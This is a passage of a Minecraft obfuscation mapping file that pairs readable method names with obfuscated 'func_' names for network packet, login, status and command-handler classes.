net/minecraft/network/play/client/C0BPacketEntityAction/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0BPacketEntityAction/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0BPacketEntityAction/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0BPacketEntityAction/getAction ()Lnet/minecraft/network/play/client/C0BPacketEntityAction$Action; net/minecraft/network/play/client/C0BPacketEntityAction/func_180764_b ()Lnet/minecraft/network/play/client/C0BPacketEntityAction$Action; +MD: net/minecraft/network/play/client/C0BPacketEntityAction/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0BPacketEntityAction/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0BPacketEntityAction/getAuxData ()I net/minecraft/network/play/client/C0BPacketEntityAction/func_149512_e ()I +MD: net/minecraft/network/play/client/C0CPacketInput/getStrafeSpeed ()F net/minecraft/network/play/client/C0CPacketInput/func_149620_c ()F +MD: net/minecraft/network/play/client/C0CPacketInput/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0CPacketInput/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0CPacketInput/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C0CPacketInput/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0CPacketInput/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0CPacketInput/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0CPacketInput/getForwardSpeed ()F net/minecraft/network/play/client/C0CPacketInput/func_149616_d ()F +MD: net/minecraft/network/play/client/C0CPacketInput/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0CPacketInput/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0CPacketInput/isJumping ()Z net/minecraft/network/play/client/C0CPacketInput/func_149618_e ()Z +MD: net/minecraft/network/play/client/C0CPacketInput/isSneaking ()Z net/minecraft/network/play/client/C0CPacketInput/func_149617_f ()Z +MD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/values ()[Lnet/minecraft/network/play/client/C19PacketResourcePackStatus$Action; net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/values ()[Lnet/minecraft/network/play/client/C19PacketResourcePackStatus$Action; +MD: net/minecraft/network/play/client/C19PacketResourcePackStatus/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C19PacketResourcePackStatus/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C19PacketResourcePackStatus/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C19PacketResourcePackStatus/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C19PacketResourcePackStatus/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C19PacketResourcePackStatus/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C19PacketResourcePackStatus/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C19PacketResourcePackStatus/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C09PacketHeldItemChange/getSlotId ()I net/minecraft/network/play/client/C09PacketHeldItemChange/func_149614_c ()I +MD: net/minecraft/network/play/client/C09PacketHeldItemChange/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C09PacketHeldItemChange/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C09PacketHeldItemChange/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C09PacketHeldItemChange/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C09PacketHeldItemChange/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C09PacketHeldItemChange/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C09PacketHeldItemChange/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C09PacketHeldItemChange/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/getSlotId ()I net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_149627_c ()I +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/getStack ()Lnet/minecraft/item/ItemStack; net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_149625_d ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C10PacketCreativeInventoryAction/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C12PacketUpdateSign/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/client/C12PacketUpdateSign/func_179722_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/client/C12PacketUpdateSign/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C12PacketUpdateSign/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C12PacketUpdateSign/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C12PacketUpdateSign/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C12PacketUpdateSign/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C12PacketUpdateSign/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C12PacketUpdateSign/getLines ()[Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/client/C12PacketUpdateSign/func_180768_b ()[Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/client/C12PacketUpdateSign/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C12PacketUpdateSign/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0APacketAnimation/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0APacketAnimation/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0APacketAnimation/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C0APacketAnimation/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0APacketAnimation/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0APacketAnimation/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0APacketAnimation/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0APacketAnimation/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C18PacketSpectate/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C18PacketSpectate/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C18PacketSpectate/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C18PacketSpectate/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C18PacketSpectate/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C18PacketSpectate/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C18PacketSpectate/getEntity (Lnet/minecraft/world/WorldServer;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/client/C18PacketSpectate/func_179727_a (Lnet/minecraft/world/WorldServer;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/client/C18PacketSpectate/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C18PacketSpectate/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/command/CommandHandler/getCommands ()Ljava/util/Map; net/minecraft/command/CommandHandler/func_71555_a ()Ljava/util/Map; +MD: net/minecraft/command/CommandHandler/registerCommand (Lnet/minecraft/command/ICommand;)Lnet/minecraft/command/ICommand; net/minecraft/command/CommandHandler/func_71560_a (Lnet/minecraft/command/ICommand;)Lnet/minecraft/command/ICommand; +MD: net/minecraft/command/CommandHandler/getUsernameIndex (Lnet/minecraft/command/ICommand;[Ljava/lang/String;)I net/minecraft/command/CommandHandler/func_82370_a (Lnet/minecraft/command/ICommand;[Ljava/lang/String;)I +MD: net/minecraft/command/CommandHandler/getPossibleCommands (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; net/minecraft/command/CommandHandler/func_71557_a (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; +MD: net/minecraft/command/CommandHandler/executeCommand (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)I net/minecraft/command/CommandHandler/func_71556_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)I +MD: net/minecraft/command/CommandHandler/getTabCompletionOptions (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandHandler/func_180524_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandHandler/tryExecute (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/command/ICommand;Ljava/lang/String;)Z net/minecraft/command/CommandHandler/func_175786_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/command/ICommand;Ljava/lang/String;)Z +MD: net/minecraft/command/CommandHandler/dropFirstString ([Ljava/lang/String;)[Ljava/lang/String; net/minecraft/command/CommandHandler/func_71559_a ([Ljava/lang/String;)[Ljava/lang/String; +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_179724_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getPlacedBlockDirection ()I net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_149568_f ()I +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getStack ()Lnet/minecraft/item/ItemStack; net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_149574_g ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getPlacedBlockOffsetX ()F net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_149573_h ()F +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getPlacedBlockOffsetY ()F net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_149569_i ()F +MD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/getPlacedBlockOffsetZ ()F net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/func_149575_j ()F +MD: net/minecraft/network/handshake/client/C00Handshake/getRequestedState ()Lnet/minecraft/network/EnumConnectionState; net/minecraft/network/handshake/client/C00Handshake/func_149594_c ()Lnet/minecraft/network/EnumConnectionState; +MD: net/minecraft/network/handshake/client/C00Handshake/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/handshake/client/C00Handshake/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/handshake/client/C00Handshake/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/handshake/client/C00Handshake/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/handshake/client/C00Handshake/processPacket (Lnet/minecraft/network/handshake/INetHandlerHandshakeServer;)V net/minecraft/network/handshake/client/C00Handshake/func_148833_a (Lnet/minecraft/network/handshake/INetHandlerHandshakeServer;)V +MD: net/minecraft/network/handshake/client/C00Handshake/getProtocolVersion ()I net/minecraft/network/handshake/client/C00Handshake/func_149595_d ()I +MD: net/minecraft/network/handshake/client/C00Handshake/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/handshake/client/C00Handshake/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/handshake/INetHandlerHandshakeServer/processHandshake (Lnet/minecraft/network/handshake/client/C00Handshake;)V net/minecraft/network/handshake/INetHandlerHandshakeServer/func_147383_a (Lnet/minecraft/network/handshake/client/C00Handshake;)V +MD: net/minecraft/network/login/INetHandlerLoginClient/handleLoginSuccess (Lnet/minecraft/network/login/server/S02PacketLoginSuccess;)V net/minecraft/network/login/INetHandlerLoginClient/func_147390_a (Lnet/minecraft/network/login/server/S02PacketLoginSuccess;)V +MD: net/minecraft/network/login/INetHandlerLoginClient/handleEncryptionRequest (Lnet/minecraft/network/login/server/S01PacketEncryptionRequest;)V net/minecraft/network/login/INetHandlerLoginClient/func_147389_a (Lnet/minecraft/network/login/server/S01PacketEncryptionRequest;)V +MD: net/minecraft/network/login/INetHandlerLoginClient/handleEnableCompression (Lnet/minecraft/network/login/server/S03PacketEnableCompression;)V net/minecraft/network/login/INetHandlerLoginClient/func_180464_a (Lnet/minecraft/network/login/server/S03PacketEnableCompression;)V +MD: net/minecraft/network/login/INetHandlerLoginClient/handleDisconnect (Lnet/minecraft/network/login/server/S00PacketDisconnect;)V net/minecraft/network/login/INetHandlerLoginClient/func_147388_a (Lnet/minecraft/network/login/server/S00PacketDisconnect;)V +MD: net/minecraft/network/login/server/S02PacketLoginSuccess/getProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/network/login/server/S02PacketLoginSuccess/func_179730_a ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/network/login/server/S02PacketLoginSuccess/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S02PacketLoginSuccess/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S02PacketLoginSuccess/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/server/S02PacketLoginSuccess/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/server/S02PacketLoginSuccess/processPacket (Lnet/minecraft/network/login/INetHandlerLoginClient;)V net/minecraft/network/login/server/S02PacketLoginSuccess/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginClient;)V +MD: net/minecraft/network/login/server/S02PacketLoginSuccess/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S02PacketLoginSuccess/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/getServerId ()Ljava/lang/String; net/minecraft/network/login/server/S01PacketEncryptionRequest/func_149609_c ()Ljava/lang/String; +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S01PacketEncryptionRequest/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/server/S01PacketEncryptionRequest/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/processPacket (Lnet/minecraft/network/login/INetHandlerLoginClient;)V net/minecraft/network/login/server/S01PacketEncryptionRequest/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginClient;)V +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/getPublicKey ()Ljava/security/PublicKey; net/minecraft/network/login/server/S01PacketEncryptionRequest/func_149608_d ()Ljava/security/PublicKey; +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S01PacketEncryptionRequest/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S01PacketEncryptionRequest/getVerifyToken ()[B net/minecraft/network/login/server/S01PacketEncryptionRequest/func_149607_e ()[B +MD: net/minecraft/network/login/server/S03PacketEnableCompression/getCompressionTreshold ()I net/minecraft/network/login/server/S03PacketEnableCompression/func_179731_a ()I +MD: net/minecraft/network/login/server/S03PacketEnableCompression/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S03PacketEnableCompression/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S03PacketEnableCompression/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/server/S03PacketEnableCompression/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/server/S03PacketEnableCompression/processPacket (Lnet/minecraft/network/login/INetHandlerLoginClient;)V net/minecraft/network/login/server/S03PacketEnableCompression/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginClient;)V +MD: net/minecraft/network/login/server/S03PacketEnableCompression/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S03PacketEnableCompression/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S00PacketDisconnect/func_149603_c ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/login/server/S00PacketDisconnect/func_149603_c ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/login/server/S00PacketDisconnect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S00PacketDisconnect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/server/S00PacketDisconnect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/server/S00PacketDisconnect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/server/S00PacketDisconnect/processPacket (Lnet/minecraft/network/login/INetHandlerLoginClient;)V net/minecraft/network/login/server/S00PacketDisconnect/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginClient;)V +MD: net/minecraft/network/login/server/S00PacketDisconnect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/server/S00PacketDisconnect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/INetHandlerLoginServer/processLoginStart (Lnet/minecraft/network/login/client/C00PacketLoginStart;)V net/minecraft/network/login/INetHandlerLoginServer/func_147316_a (Lnet/minecraft/network/login/client/C00PacketLoginStart;)V +MD: net/minecraft/network/login/INetHandlerLoginServer/processEncryptionResponse (Lnet/minecraft/network/login/client/C01PacketEncryptionResponse;)V net/minecraft/network/login/INetHandlerLoginServer/func_147315_a (Lnet/minecraft/network/login/client/C01PacketEncryptionResponse;)V +MD: net/minecraft/network/login/client/C00PacketLoginStart/getProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/network/login/client/C00PacketLoginStart/func_149304_c ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/network/login/client/C00PacketLoginStart/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/client/C00PacketLoginStart/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/client/C00PacketLoginStart/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/client/C00PacketLoginStart/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/client/C00PacketLoginStart/processPacket (Lnet/minecraft/network/login/INetHandlerLoginServer;)V net/minecraft/network/login/client/C00PacketLoginStart/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginServer;)V +MD: net/minecraft/network/login/client/C00PacketLoginStart/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/client/C00PacketLoginStart/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/client/C01PacketEncryptionResponse/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/login/client/C01PacketEncryptionResponse/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/getSecretKey (Ljava/security/PrivateKey;)Ljavax/crypto/SecretKey; net/minecraft/network/login/client/C01PacketEncryptionResponse/func_149300_a (Ljava/security/PrivateKey;)Ljavax/crypto/SecretKey; +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/processPacket (Lnet/minecraft/network/login/INetHandlerLoginServer;)V net/minecraft/network/login/client/C01PacketEncryptionResponse/func_148833_a (Lnet/minecraft/network/login/INetHandlerLoginServer;)V +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/login/client/C01PacketEncryptionResponse/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/login/client/C01PacketEncryptionResponse/getVerifyToken (Ljava/security/PrivateKey;)[B net/minecraft/network/login/client/C01PacketEncryptionResponse/func_149299_b (Ljava/security/PrivateKey;)[B +MD: net/minecraft/network/status/INetHandlerStatusClient/handlePong (Lnet/minecraft/network/status/server/S01PacketPong;)V net/minecraft/network/status/INetHandlerStatusClient/func_147398_a (Lnet/minecraft/network/status/server/S01PacketPong;)V +MD: net/minecraft/network/status/INetHandlerStatusClient/handleServerInfo (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V net/minecraft/network/status/INetHandlerStatusClient/func_147397_a (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V +MD: net/minecraft/network/status/server/S01PacketPong/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/server/S01PacketPong/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/server/S01PacketPong/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/status/server/S01PacketPong/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/status/server/S01PacketPong/processPacket (Lnet/minecraft/network/status/INetHandlerStatusClient;)V net/minecraft/network/status/server/S01PacketPong/func_148833_a (Lnet/minecraft/network/status/INetHandlerStatusClient;)V +MD: net/minecraft/network/status/server/S01PacketPong/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/server/S01PacketPong/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/server/S00PacketServerInfo/getResponse ()Lnet/minecraft/network/ServerStatusResponse; net/minecraft/network/status/server/S00PacketServerInfo/func_149294_c ()Lnet/minecraft/network/ServerStatusResponse; +MD: net/minecraft/network/status/server/S00PacketServerInfo/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/server/S00PacketServerInfo/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/server/S00PacketServerInfo/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/status/server/S00PacketServerInfo/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/status/server/S00PacketServerInfo/processPacket (Lnet/minecraft/network/status/INetHandlerStatusClient;)V net/minecraft/network/status/server/S00PacketServerInfo/func_148833_a (Lnet/minecraft/network/status/INetHandlerStatusClient;)V +MD: net/minecraft/network/status/server/S00PacketServerInfo/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/server/S00PacketServerInfo/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse$PlayerCountData; net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse$PlayerCountData; +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse$PlayerCountData;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse$PlayerCountData;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/network/ServerStatusResponse$PlayerCountData$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData/getMaxPlayers ()I net/minecraft/network/ServerStatusResponse$PlayerCountData/func_151332_a ()I +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData/setPlayers ([Lcom/mojang/authlib/GameProfile;)V net/minecraft/network/ServerStatusResponse$PlayerCountData/func_151330_a ([Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData/getOnlinePlayerCount ()I net/minecraft/network/ServerStatusResponse$PlayerCountData/func_151333_b ()I +MD: net/minecraft/network/ServerStatusResponse$PlayerCountData/getPlayers ()[Lcom/mojang/authlib/GameProfile; net/minecraft/network/ServerStatusResponse$PlayerCountData/func_151331_c ()[Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/network/ServerStatusResponse$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse; net/minecraft/network/ServerStatusResponse$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse; +MD: net/minecraft/network/ServerStatusResponse$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/network/ServerStatusResponse$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/network/ServerStatusResponse$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/network/ServerStatusResponse$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; 